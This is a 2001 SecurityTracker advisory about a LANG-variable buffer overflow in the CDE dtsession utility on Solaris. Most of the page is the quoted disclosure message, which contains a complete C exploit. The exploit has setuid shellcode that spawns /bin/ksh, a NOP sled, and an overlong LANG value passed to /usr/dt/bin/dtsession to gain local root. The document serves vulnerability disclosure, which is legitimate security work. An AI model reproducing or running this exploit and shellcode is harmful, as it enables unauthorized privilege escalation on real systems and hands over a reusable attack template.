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Dtsession Utility Allows Local Users to Obtain Root Level Privileges
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SecurityTracker Alert ID: 1001460 |
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SecurityTracker URL: http://securitytracker.com/id/1001460
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 30 2001
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Impact:
Execution of arbitrary code via local system, Root access via local system
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Exploit Included: Yes
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Description:
It is reported that there is a vulnerability in the Common Desktop Environment dtsession utility that allows local users to obtain root level privileges.
The vulnerability is reportedly due to a buffer overflow vulnerability in the way the LANG environment variable is handled by the dtsession program.
Demonstration exploit code for Sun Solaris is contained in the Source Message.
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Impact:
A local user can obtain root level privileges.
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Solution:
No solution was available at the time of this entry.
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Cause:
Boundary error
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Underlying OS:
UNIX (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Mon, 30 Apr 2001 09:54:58 -0400
Subject: dtsession vulnerability
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http://LSD-PL.NET/files/get?SOLARIS/solx86_dtsession
There exists a buffer overflow vulnerability in the way the LANG
environment variable is handled by the dtsession program. When
appropriately exploited it can lead to a local root compromise on a
vulnerable system.
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## /usr/dt/bin/dtsession #*/
#define NOPNUM 6000
#define ADRNUM 400
#define PCHNUM 6000
#define JMPNUM 6000
char setuidshellcode[]=
"\x33\xc0" /* xorl %eax,%eax */
"\xeb\x08" /* jmp <setuidshellcode+12> */
"\x5f" /* popl %edi */
"\x47" /* incl %edi */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x47\x01" /* movb %al,0x1(%edi) */
"\xeb\x0d" /* jmp <setuidshellcode+25> */
"\xe8\xf3\xff\xff\xff" /* call <setuidshellcode+4> */
"\x9a\xff\xff\xff\xff"
"\x07\xff"
"\xc3" /* ret */
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xe8\xee\xff\xff\xff" /* call <setuidshellcode+17> */
"\xeb\x16" /* jmp <setuidshellcode+59> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x7(%edx) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xd6\xff\xff\xff" /* call <setuidshellcode+17> */
"\xe8\xe5\xff\xff\xff" /* call <setuidshellcode+37> */
"/bin/ksh"
;
char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;
main(int argc,char **argv){
char buffer[20000],*b,adr[4],pch[4],jmp[4],*envp[4],display[128];
unsigned int i;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("/usr/dt/bin/dtsession for solaris 2.7 (2.6,2.8 ?) x86\n\n");
if(argc!=2){
printf("usage: %s xserver:display\n",argv[0]);
exit(-1);
}
*((unsigned int*)adr)=((*(unsigned int(*)())jump)())+3540+3000-0x4d0;
*((unsigned int*)pch)=((*(unsigned int(*)())jump)())+3540+3000+6000;
*((unsigned int*)jmp)=((*(unsigned int(*)())jump)())+3540+3000+6000+6000;
*((unsigned int*)adr)=(((i=*((unsigned int*)adr))>>8))|(i<<24);
sprintf(display,"DISPLAY=%s",argv[1]);
envp[0]=&buffer[0];
envp[1]=&buffer[19000];
envp[2]=display;
envp[3]=0;
b=buffer;
sprintf(b,"xxx=");
b+=4;
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<JMPNUM;i++) *b++=jmp[i%4];
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
*b=0;
b=&buffer[19000];
sprintf(b,"LANG=");
b+=5;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
execle("/usr/dt/bin/dtsession","lsd",0,envp);
}
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